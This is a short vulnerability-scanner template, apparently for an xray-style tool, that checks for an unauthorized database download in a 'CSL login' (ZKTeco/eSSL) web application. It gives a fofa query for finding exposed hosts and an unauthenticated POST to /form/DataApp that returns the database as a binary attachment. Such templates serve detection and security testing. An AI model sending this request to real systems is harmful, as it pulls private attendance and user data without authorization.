csl-login-unauth-db-leak: CSL Login unauthorized DB Leak

id: csl-login-unauth-db-leak

info:
  name: CSL Login unauthorized DB Leak
  author: xpoc
  severity: high
  verified: true
  description: |-
    fofa: "csl/login"
  reference:
    - https://nosec.org/home/detail/3032.html
  tags: essl,leak
  created: 2023/06/23

rules:
  r0:
    request:
      method: POST
      path: /form/DataApp
      body: style=1
    expression: |
      response.status == 200 && 
      response.headers["content-type"].contains("application/binary") && 
      response.body.bcontains(b"ZK") && 
      response.raw_header.bcontains(b"attachment")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.